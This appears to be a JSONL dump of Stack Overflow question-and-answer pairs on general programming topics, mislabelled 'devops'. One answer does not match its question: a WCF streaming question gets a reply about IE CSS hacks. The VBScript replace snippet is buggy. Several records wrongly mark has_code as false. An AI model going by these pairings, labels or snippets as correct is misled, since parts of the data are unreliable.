{"id": "hf_24cbf8882ea2", "question": "<p>I need to highlight, case insensitively, given keywords in a JavaScript string.</p>\n\n<p>For example:</p>\n\n<ul>\n<li><code>highlight(\"foobar Foo bar FOO\", \"foo\")</code> should return <code>\"&lt;b&gt;foo&lt;/b&gt;bar &lt;b&gt;Foo&lt;/b&gt; bar &lt;b&gt;FOO&lt;/b&gt;\"</code></li>\n</ul>\n\n<p>I need the code to work for any keyword, and therefore using a hardcoded regular expression like <code>/foo/i</code> is not a sufficient solution.</p>\n\n<p>What is the easiest way to do this?</p>\n\n<p>(This an instance of a more general problem detailed in the title, but I feel that it's best to tackle with a concrete, useful example.)</p>\n", "question_body": "", "answer": "You\ncan\nuse regular expressions if you prepare the search string. In PHP e.g. there is a function preg_quote, which replaces all regex-chars in a string with their escaped versions.\nHere is such a function for javascript (\nsource\n):\n```\n```\nfunction preg_quote (str, delimiter) {\n  //  discuss at: https://locutus.io/php/preg_quote/\n  // original by: booeyOH\n  // improved by: Ates Goral (https://magnetiq.com)\n  // improved by: Kevin van Zonneveld (https://kvz.io)\n  // improved by: Brett Zamir (https://brett-zamir.me)\n  // bugfixed by: Onno Marsman (https://twitter.com/onnomarsman)\n  //   example 1: preg_quote(\"$40\")\n  //   returns 1: '\\\\$40'\n  //   example 2: preg_quote(\"*RRRING* Hello?\")\n  //   returns 2: '\\\\*RRRING\\\\* Hello\\\\?'\n  //   example 3: preg_quote(\"\\\\.+*?[^]$(){}=!<>|:\")\n  //   returns 3: '\\\\\\\\\\\\.\\\\+\\\\*\\\\?\\\\[\\\\^\\\\]\\\\$\\\\(\\\\)\\\\{\\\\}\\\\=\\\\!\\\\<\\\\>\\\\|\\\\:'\n\n  return (str + '')\n    .replace(new RegExp('[.\\\\\\\\+*?\\\\[\\\\^\\\\]$(){}=!<>|:\\\\' + (delimiter || '') + '-]', 'g'), '\\\\$&')\n}\n```\n```\nSo you could do the following:\n```\n```\nfunction highlight(str, search) {\n    return str.replace(new RegExp(\"(\" + preg_quote(search) + \")\", 'gi'), \"<b>$1</b>\");\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:58.015204"}
{"id": "hf_a34481406fd1", "question": "<p>I'm trying to make a class that will execute any one of a number of stored procedures with any amount of variables</p>\n\n<p>Im using php and mysqli</p>\n\n<ul>\n<li>My class enumerates an array and constructs a string based on the number of elements if any</li>\n<li>giving something like this <code>CALL spTestLogin(?,?)</code> for example</li>\n<li><p>I now need to bind the input from my array using somethin like this:</p>\n\n<p>$stmt->bind_param($this->paramTypes,$this->paramValues);//paramValues is my array</p></li>\n</ul>\n\n<p>Then if that works I can work on getting my results</p>\n\n<p>Any ideas</p>\n", "question_body": "", "answer": "You have to do something like this:\n```\n```\n$params=array_merge(\n    array($this->paramTypes), \n    $this->paramValues\n);\ncall_user_func_array(array($stmt, 'bind_param'), $params);\n```\n```\ngiven that\n```\n$this->paramTypes\n```\nis a string in the format required by\n```\nmysqli_stmt::bind_param\n```\n- if not, you have to create this\n```\nstring\n```\nparameter first.\nI don't know if\n```\nout\n```\nor\n```\ninout\n```\nparameters do work in this case.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:58.050272"}
{"id": "hf_85d8ca350af5", "question": "<blockquote>\n  <p><strong>Possible Duplicate:</strong><br>\n  <a href=\"https://stackoverflow.com/questions/16991/what-ruby-ide-do-you-prefer\">What Ruby IDE do you prefer?</a>  </p>\n</blockquote>\n\n\n\n<p>I'm making a <strong>simple</strong> script using ruby on a Windows 2003 Server.\nMy questions are:</p>\n\n<ul>\n<li>How can I connect to a database through ODBC?  I will be connecting to both <strong>Sybase on Solaris</strong> and <strong>MSSQL Server</strong>.</li>\n<li>How can I send emails through an Exchange Server 2003?</li>\n</ul>\n\n<hr>\n\n<h2>Update</h2>\n\n<ul>\n<li>What's the best simple IDE for Ruby scripting?  I currently use SciTE (which comes with Ruby)</li>\n</ul>\n", "question_body": "", "answer": "There is an ODBC package for the\nRuby DBI module\navailable, or you can try to use the\nODBC binding for Ruby\n, which also includes a Win32 binary.\nHere an example that uses RDI (stolen from\nhere\n):\n```\n```\nrequire 'DBI'\n\n# make an ODBC connection\nconn = DBI.connect('DBI:ODBC:datasource','your_username','your_password')\n\n# returns a list of the table names from your database\nconn.tables\n\n# returns an array with the resultset from your query\nrs = conn.select_all('SELECT * FROM TheTable')\n```\n```\n(ODBC datasources can be defined using the ODBC Administrator available via Control Panel/Administrative Tools.)\nFor e-mailing I would suggest you simply use the\nstandard mailing capabilities\nof Ruby and connect to your Exchange Server through SMTP.\nI cannot recommend you a Ruby IDE, though, as I do my text-editing with VIM. :-) Other people might be able to give you a hint on that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:58.073839"}
{"id": "hf_5262f973fcbb", "question": "<p>I'm currently working on an asp.net-mvc content management system. It would be incredibly useful to be able to deploy nested applications e.g. /shop to have a separate app inside. Or even another instance of the cms.</p>\n\n<p>I've found some information around talking about limiting the inheritance of the web.config but I've no idea how this maps to an MVC application. I'm hoping as its essentially the same stack it will just run. Nothing is ever that easy though.</p>\n\n<p>If anyone has any experience doing this I would be really grateful. The idea of one big application to rule them all is not at all nice.</p>\n\n<p>Si.</p>\n", "question_body": "", "answer": "To be honest you biggest hurdle is going to be creating the routes and making sure they don't interfere with routes already in the system.  After you get that working the rest is easy as pie.\nThe first thing you will need is an HttpModule that will be inserted in to the web.config under the .  This module will be used to register and custom ViewEngines or Routes that you want to register.  You do this in the same way that you do in the Global.asax but instead of putting them in the Application_Start you put them in the static constructor of the HttpModule.  This is so they are only loaded once like Application_Start.\nBy do the above you will have created a module that is easily transportable and doesn't require the implimentor to modify their Global.asax code to get your stuff to work.\nThe second thing you probably want to do is create a custom configuration in the web.config to set stuff like the root path of your application.  This will be prepended on to the route when you are setting it up in the HttpModule.  Also you can use this to store customization information that is not appropriate for the database.\nLast but not necessary is that you may want to create a custom ViewEngine that knowns and understands your folder structure.  This is only necessary if you want to store the views in a different path than the default views, in order to minimize conflicts.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:58.153800"}
{"id": "hf_e235a5fe1675", "question": "<p>Does anyone know of an open source web service/wcf service that can stream media content to clients? In particular I am looking for something that could access my music collection and stream it to a client (could be a client browser, win mobile app or even iphone application).</p>\n\n<p>I guess it would have to be WCF based as I'm not sure that webservices do streaming really well. Also Windows Media Streaming Services is not the best way to go as the service should operate from a vista/xp machine (preferably). </p>\n\n<p>If not, does anyone know the best way to start going about creating something like this - I'm not sure I know where to start with this one, although I can see many many uses for such a service!</p>\n", "question_body": "", "answer": "Remove the comment on top of the page\nThe \"Put IE into quirks mode\" thing\nYou are using a lot of 'hacks'. By that I mean the CSS selectors that begin with * html\nI'm not saying that is the cause of the problem, but it is not good practice and is error prone.\n1) try using conditional comments for the browser that has the gap problem instead of using those hacks\n2) try editing your question by providing information about the version of IE you're testing against (my guess is IE 6 or even lower).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:58.191844"}
{"id": "hf_14447cab91af", "question": "<p>I'm trying to write a <a href=\"/questions/tagged/vba\" class=\"post-tag\" title=\"show questions tagged &#39;vba&#39;\" rel=\"tag\">vba</a> macro for a group tha</p>\n\n<ul>\n<li>has one workbook where they daily create new worksheets, and also have</li>\n<li><em>Sheet 1</em>, <em>Sheet 2</em> and <em>Sheet 3</em> at the end of their long list of sheets. </li>\n</ul>\n\n<p>I need to create a external cell reference in a new column in a different workbook where this information is being summarized.</p>\n\n<p>So I need to know how to get the <strong>last non-empty sheet</strong> so I can grab this data and place it appropriately in the summary.</p>\n", "question_body": "", "answer": "This function works through the sheets from right to left until it finds a non-blank sheet, and returns its name\n```\n```\nFunction GetLastNonEmptySheetName() As String\nDim i As Long\nFor i = Worksheets.Count To 1 Step -1\n  If Sheets(i).UsedRange.Cells.Count > 1 Then\n    GetLastNonEmptySheetName = Sheets(i).Name\n    Exit Function\n  End If\nNext i\nEnd Function\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:58.214916"}
{"id": "hf_74a748e093af", "question": "<p>In some existing code there is a test to see if the user is running IE, by checking if the object Browser.Engine.trident is defined and returns true.</p>\n\n<p>But how can I determine if the user is running IE6 (or earlier) or IE7 (or later)?</p>\n\n<p>The test is needed inside a JavaScript function so a conditional comment doesn't seem suitable.</p>\n", "question_body": "", "answer": "If you are already using jQuery in a pre-1.9 version AND you don't need to detect IE 11, you can do this:\n```\n```\nif (jQuery.browser.msie == true) { \nif (jQuery.browser.version == 7.0)\n  // .. do something for 7.0\nelse \n  // .. do something for < 7.0\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:58.237995"}
{"id": "hf_c62183c79603", "question": "<p>I have an access database, with a query made. I need to automate it so that each night this query can run and export to a tab delimited csv file. It is not possible to export a query to a csv file from within access. My question is, are there any tools that can select certain tables, or perform an sql query on an mdb file, and export to a csv file?</p>\n", "question_body": "", "answer": "VBScript works quite well with the Jet engine. However, I do not see why you say \" It is not possible to export a query to a csv file from within access.\"\n```\n```\nSub TransferCSV()\n\n    DoCmd.TransferText acExportDelim, , \"PutNameOfQueryHere\", \"C:\\PutPathAnd\\FilenameHere.csv\", True\n\n End Sub\n```\n```\nIs the usual way in VBA.\nEDIT:\nIt is possible to run a VBScript file (.vbs) from the command line. Here is some sample VBScript to output a tab delimited file.\n```\n```\ndb = \"C:\\Docs\\LTD.mdb\"\nTextExportFile = \"C:\\Docs\\Exp.txt\"\n\nSet cn = CreateObject(\"ADODB.Connection\")\nSet rs = CreateObject(\"ADODB.Recordset\")\n\ncn.Open _\n   \"Provider = Microsoft.Jet.OLEDB.4.0; \" & _\n   \"Data Source =\" & db\n\nstrSQL = \"SELECT * FROM tblMembers\"\n\nrs.Open strSQL, cn, 3, 3\n\nSet fs = CreateObject(\"Scripting.FileSystemObject\")\n\nSet f = fs.CreateTextFile(TextExportFile, True)\n\na = rs.GetString\n\nf.WriteLine a\n\nf.Close\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:58.283779"}
{"id": "hf_a7e899cb1acb", "question": "<p>I seem to be in the minority, but to be honest I am not comfortable with linq and don't see any benefits in my personal development (not to say there are no benefits, just a personal opinion based on my situation).</p>\n\n<p>I build web applications (.net, .net mvc) and I love having part of my data layer in stored procedures.  One thing I love about sprocs is that I can generate the entire db to script, then scan my queries, <b>readable queries</b> I might add, at a high level.</p>\n\n<p>For those of you who don't like linq, what is your reason?  Is it just lack of knowledge/learning curve or is there a business case for not using it?</p>\n", "question_body": "", "answer": "There was a helpful discussion\nhere\nrecently about whether to use LINQ or stored procedures, which includes the advantages and disadvantages of each approach.\nAnd some people have concerns about the future of LINQ to SQL.\nIs LINQ to SQL DOA?\nHas Microsoft really killed LINQ to SQL?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:58.306846"}
{"id": "hf_d42b31e8a826", "question": "<p>My Sharepoint 2007 web part executes code to start a K2 workflow process. The workflow server resides on another server.</p>\n\n<p>When my code executes, I get the following error:\n\"24408 K2:NT AUTHORITY\\ANONYMOUS LOGON from 172.172.172.172:1721 does not have rights to Start Process MyProject\\MyProcessName\"</p>\n\n<p>I'm sure this is a general IIS delegation problem (not K2 specific), but I'm not sure how to go about solving it. Why does Sharepoint try to connect to the other server as AnonymousLogon when it should be impersonating the current domain user?</p>\n\n<p>Notes: \n- My Sharepoint AppPool identity is a domain user (not Network Service).\n- ASP.NET impersonation is enabled.</p>\n", "question_body": "", "answer": "What you are trying to do is called delegation and not impersonation. Impersonation is only on the local server. There are many thing that have to be right for delegation to work.\nA place to start would be\nKerberos authentication and troubleshooting delegation issues\nDavid Wang blog\nis a very useful resource on thous issues.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:58.420822"}
{"id": "hf_28e817d28a45", "question": "<p>Could anyboby help me with the alternative solution in C# regarding <strong>AddressOf operator in VB6</strong>? AddressOf returns a long value. What way can I get the output in C#?</p>\n", "question_body": "", "answer": "C# has special syntax for assigning functions to delegates/events.  Just use\n```\n<delegate> += <function>;\n```\nIf you're actually trying to get the address for some other use, you're out of luck.  One of the things about managed code is that these addresses aren't necessarily fixed.  While it would be unlikely that most functions would ever change there are circumstances where it's possible.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:58.447632"}
{"id": "hf_995abf6dccb3", "question": "<p>Within my InfoPath form (which has to be loaded within a SharePoint Portal by the browser)I have a repeating table containing multiple fields. Now I would like to make the first textfield autoincrement starting by 1. How exactly can I do this?</p>\n\n<p>I have already heard of a way by using the \"count\" function but this produces errors or in best case a static number which unfortunately does not count.\nThe function I have added for the field is \"count(.) + 1\"</p>\n\n<p>Any suggestions?</p>\n", "question_body": "", "answer": "Let's say your repeating group is called \"item\" and your autoincrement field is called \"index\". The default value of the index field should be\n```\n```\ncount(/my:myFields/my:item)\n```\n```\nThis should count correctly for you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:58.482226"}
{"id": "hf_7f202bf14a0c", "question": "<p>I am looking to protect the code of my Firefox extension because it has server calls in it that no would be a security risk if someone could make them outside of the extension. Any suggestions on how to encrypt it?</p>\n", "question_body": "", "answer": "If it's going to be executed on the client side, with no reliable secret, then basically you've definitely got a security vulnerability.\nIt's hard to suggest ways round this without knowing a bit more about your extension. An obvious suggestion would be to request a username/password, authenticate (over HTTPS) with the server and receive a time-limited token, and then present that token with the \"dodgy\" request. That won't stop anyone with the right username and password though...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:58.505135"}
{"id": "hf_71129a3b72fa", "question": "<p>Are \"out\" parameters a bad thing in .NET? Any good articles/discussions on this topic?</p>\n", "question_body": "", "answer": "For most circumstances I would recommend against using Out parameters. They basically add side-effects to your code and could be a nightmare when it comes to debugging.\nThere's an article on MSDN regarding Out parameters available here:\nhttp://msdn.microsoft.com/en-us/library/t3c3bfhx.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:58.608181"}
{"id": "hf_e93ecbbdc569", "question": "<p>I am not that hot at regular expressions and it has made my little mind melt some what.</p>\n\n<p>I am trying to find all the tables names in a query.  So say I have the query:</p>\n\n<pre><code>SELECT one, two, three FROM table1, table2 WHERE X=Y\n</code></pre>\n\n<p>I would like to pull out \"table1, table2\" or \"table1\" and \"table2\"</p>\n\n<p>But what if there is no where statement.  It could be the end of the file, or there could be a group by or an order by etc.  I know \"most\" of the time this will not be an issue but I don't like the idea of coding for \"most\" situations and knowing I have left a hole that could cause things to go wrong later.</p>\n\n<p>Is this a doable Regex expression?  Am I being a Regex pleb?</p>\n\n<p>(P.S. this will be done in C# but presume that doesn't matter much).</p>\n", "question_body": "", "answer": "It's definitely not easy.\nConsider subqueries.\n```\n```\nselect\n  *\nfrom\n  A\n  join (\n    select\n       top 5 *\n    from\n      B)\n    on B.ID = A.ID\nwhere\n  A.ID in (\n    select\n      ID\n    from\n      C\n    where C.DOB = A.DOB)\n```\n```\nThere are three tables used in this query.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:58.642748"}
{"id": "hf_ba30b9dd39c9", "question": "<p>I have a compiled AppleScript application which I have moved to my windows server. I'd like to then insert a text file into the application (which looks like a zip file on windows):</p>\n\n<pre><code>myapplescript.app/Contents/Resources/MyNewDir/MyTxtFile.txt\n</code></pre>\n\n<p>So, I've precompiled the AppleScript to try to read from this text file and get the contents as a string. This is what I do:</p>\n\n<pre><code>set theFolder to POSIX path of (the path to me)\nset theFile to theFolder &amp; \"Contents/Resources/MyNewDir/MyTxtFile.txt\"\nopen for access theFile\nset fileContents to (read theFile)\nclose access theFile\n</code></pre>\n\n<p>but this is the error I get:</p>\n\n<blockquote>\n  <p>Can't make\n  \"/Users/mike/Desktop/myapplescript.app/Contents/Resources/MyNewDir/MyTxtFile.txt\"\n  into type file</p>\n</blockquote>\n", "question_body": "", "answer": "Ok, I figured it out, I changed the second line to this:\n```\n```\nset theFile to (POSIX file (theFolder & \"Contents/Resources/MyNewDir/MyTxtFile.txt\"))\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:58.726430"}
{"id": "hf_5d5344599198", "question": "<p>How do I replace text from one file with text from another file using vbscript?</p>\n\n<p>The text being replaced is somewhere in the middle of the file. </p>\n", "question_body": "", "answer": "filea.txt:\nhello cruel world\nfileb.txt:\ncruel\nfilec.txt:\nhappy\nwill make sResult = \"hello happy world\" after the following has executed.\n```\n```\nDim oFSO\nDim sFileAContents\nDim sFileBContents\nDim sFileCContents\nDim sResult\nSet oFSO = CreateObject(\"Scripting.FileSystemObject\")\nsFileAContents = oFSO.OpenTextFile(\"c:\\filea.txt\").ReadAll()\nsFileBContents = oFSO.OpenTextFile(\"c:\\fileb.txt\").ReadAll()\nsFileCContents = oFSO.OpenTextFile(\"c:\\filec.txt\").ReadAll()\nsResult = Replace(sFileAContents, sFileBContents, \"\")\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:58.750336"}
{"id": "hf_7d2877237609", "question": "<p>Has anyone written a version of .Net's generic Queue that implements INotifyCollectionChanged, or is there one hidden deep in the .Net framework somewhere already?</p>\n", "question_body": "", "answer": "A quick search didn't show any results.  But the interface is simple and it would be almost trivial to extend the Queue class and add support for the interface.  Just override all methods thusly:\n```\n```\n// this isn't the best code ever; refactor as desired\nprotected void OnCollectionChanged( NotifyCollectionChangedEventArgs ccea){\n  var temp = CollectionChanged;\n  if(temp != null) temp(this, ccea);  \n}\n\n// and later in the class\n\npublic override SomeMethodThatAltersTheQueue(object something){\n  // record state of collection prior to change\n  base.SomeMethodThatAltersTheQueue(something)\n  // create NotifyCollectionChangedEventArgs with prior state and new state\n  OnCollectionChanged(ccea);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:58.773662"}
{"id": "hf_0e5ee67d8035", "question": "<p>The default generated hashCode and equals implementations are ugly at best.</p>\n\n<p>Is it possible to make eclipse generate ones from HashCodeBuilder and EqualsBuilder, and perhaps even a toString with ToStringBuilder?</p>\n", "question_body": "", "answer": "Take a look at\nCommons4E\nIt hasn't been updated in a while, but then I don't guess it needs to change much?\nUpdate: Just checked against 3.4.1 and it works fine.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:58.797053"}
{"id": "hf_a189702f05c7", "question": "<p>Is there any difference between a <code>volatile</code> Object reference and <code>AtomicReference</code> in case I would just use <code>get()</code> and <code>set()</code>-methods from <code>AtomicReference</code>?</p>\n", "question_body": "", "answer": "Short answer is: No.\nFrom the\n```\njava.util.concurrent.atomic\n```\npackage documentation. To quote:\nThe memory effects for accesses and updates of atomics generally follow the rules for volatiles:\n```\nget\n```\nhas the memory effects of reading a\n```\nvolatile\n```\nvariable.\n```\nset\n```\nhas the memory effects of writing (assigning) a\n```\nvolatile\n```\nvariable.\nBy the way, that documentation is very good and everything is explained.\n```\nAtomicReference::lazySet\n```\nis a newer (Java 6+) operation introduced that has semantics unachievable through\n```\nvolatile\n```\nvariables. See\nthis post\nfor more information.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:58.831765"}
{"id": "hf_7eeb11dfe4c8", "question": "<p>What would be the easiest way to move the mouse around (and possibly click) using Python on OS X?  </p>\n\n<p>This is just for rapid prototyping, it doesn't have to be elegant.</p>\n", "question_body": "", "answer": "I dug through the source code of Synergy to find the call that generates mouse events:\n```\n```\n#include <ApplicationServices/ApplicationServices.h>\n\nint to(int x, int y)\n{\n    CGPoint newloc;\n    CGEventRef eventRef;\n    newloc.x = x;\n    newloc.y = y;\n\n    eventRef = CGEventCreateMouseEvent(NULL, kCGEventMouseMoved, newloc,\n                                        kCGMouseButtonCenter);\n    //Apparently, a bug in xcode requires this next line\n    CGEventSetType(eventRef, kCGEventMouseMoved);\n    CGEventPost(kCGSessionEventTap, eventRef);\n    CFRelease(eventRef);\n\n    return 0;\n}\n```\n```\nNow to write Python bindings!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:58.855410"}
{"id": "hf_86336bbcf445", "question": "<p>My code:</p>\n\n<pre><code>        string input1;\n\n        input1 = Console.ReadLine();\n\n        Console.WriteLine(\"byte output\");\n\n        byte[] bInput1 = Encoding.Unicode.GetBytes(input1);\n\n\n        for (int x = 0; x &lt; bInput1.Length; x++)\n            Console.WriteLine(\"{0} = {1}\", x, bInput1[x]);\n</code></pre>\n\n<p>outputs: </p>\n\n<p>104\n0\n101\n0\n108\n0\n108\n0\n111\n0</p>\n\n<p>for the input \"hello\"</p>\n\n<p>Is there a reference to the character map where I can make sense of this?</p>\n", "question_body": "", "answer": "You should read \"The Absolute Minimum Every Software Developer Absolutely, Positively Must Know About Unicode and Character Sets (No Excuses!)\" at\nhttp://www.joelonsoftware.com/articles/Unicode.html\nYou can find a list of all Unicode characters at\nhttp://www.unicode.org\nbut don't expect to be able to read the files there without learning a lot about text encoding issues.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:58.878485"}
{"id": "hf_296118bc5bff", "question": "<p>Is it possible to share a single 'god' instance among everyone that links to this code, to be placed in a shared object?</p>\n\n<pre><code>god* _god = NULL;\nextern \"C\" \n{\n\nint set_log_level(int level)\n{\n    if(_god == NULL) return -1;\n    _stb-&gt;log_level(level);\n    return 0;\n}\n\nint god_init(){\n    if(_god == NULL){\n        _god = new god(); //Magic happens here\n    }\n}\n\n}\n</code></pre>\n\n<p>Provided that I perform a lock synchronization at the beginning of every function, and considering that God itself can new/malloc other things, but those things will never be returned themselves to the caller (God mallocs only for internal use), what is the simplest way of doing this, if possible.</p>\n\n<p>How can that be extended to an arbitrary number of programs linked to this shared library?</p>\n", "question_body": "", "answer": "This isn't the correct approach at all. By doing what you suggest, the variable, yes, is global to the library, and thus the program, but the data is private to the actual running process. You won't be able to share the values across running programs. @grieve is referring to a global accessed by multiple threads, but threads share the same parent process instance.\nAcross actual processes, you need to break out to an OS specific shared memory facility.\nTake a look at\nShared Memory\nfor details. It's a doable issue, but it's not particularly trivial to pull off. You'll also need a interprocess synchronization system like Semaphores as well to coordinate usage.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:58.901606"}
{"id": "hf_2cf1d7d5c8fc", "question": "<p>I am having some trouble grasping some concepts behind the MVC framework. I am doing a very simple application which categorizes products.</p>\n\n<p>The Creation screen will simply use a dropdown list showing the list of categories, the name of the product and submit.</p>\n\n<p>On a normal .Net app, I would databind a server dropdownlist in the Page_Load, but in a MVC app, what is the best way to retrieve my categories from the database and add them to the dropdown list?</p>\n\n<p>(Sorry, my question is extremely noobish but unfortunately resources are spare on MVC, and examples are often broken due to early changes)</p>\n", "question_body": "", "answer": "Your models retrieve data, your presenter organizes data for the view, and the view controls binding your model to UI elements.  For example, here's a model for a LogEvent:\n```\n```\npublic class LogEvent{\n  public string Title {get;set;}\n  public string Date {get;set;}\n  public string Message {get;set;}\n\n  // this is for example only; you would most likely bind directly against the host.GetAllLogs() result\n  public static IEnumerable<LogEvent> RetrieveAllLogs(ILogProvider host){\n    return from x in host.GetAllLogs() select new LogEvent(x.LogTitle, x.Date, x.Message);\n  }\n```\n```\nHere's the controller that handles a user request to view all logs:\n```\n```\n[DependencyPropertyLolJk]\nprotected ILogProvider MyLogProvider {get;set;} // set by DI\n\n[AcceptVerbs(HttpVerbs.Get)]\npublic ActionResult Logs()\n{\n    return View(\"Logs\", LogEvent.GetAllLogs(MyLogProvider).OrderByDescending(x => x.Date));\n}\n```\n```\nAnd here is the view and how it binds to the model:\n```\n```\n<!-- header left out for brevity -->\n<table>\n    <thead>\n        <tr>\n            <th>\n                Date\n            </th>\n            <th>\n                Title\n            </th>\n            <th>\n                Message\n            </th>\n        </tr>\n    </thead>\n    <% foreach(var log in ViewData.Model) %>\n    <tr>\n<td><%= log.Date %></td>\n<td><%= log.Title %></td>\n<td><%= log.Message %></td>\n    </tr>\n    <% }; %>\n</table>\n\n<!-- ... -->\n```\n```\nSo you see, you have to write your html using inline code.  This works well for simple UIs, but can be complex and a drudgery when it comes to more complex things, such as pagers and gridviews.\nWhen your UI gets complex, the easiest thing to do is to create extensions to the HtmlHelper class.  Here are two examples that show how this can cut down the complexity of your UI:  HtmlHelper\nGridView\nand\nPager\ncontrols.  I've created similar helper methods, and its pretty remarkable how you can mix html and inline code within lambdas.  Now if the designer was only able to format this kind of mixed code/markup decently...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:58.939149"}
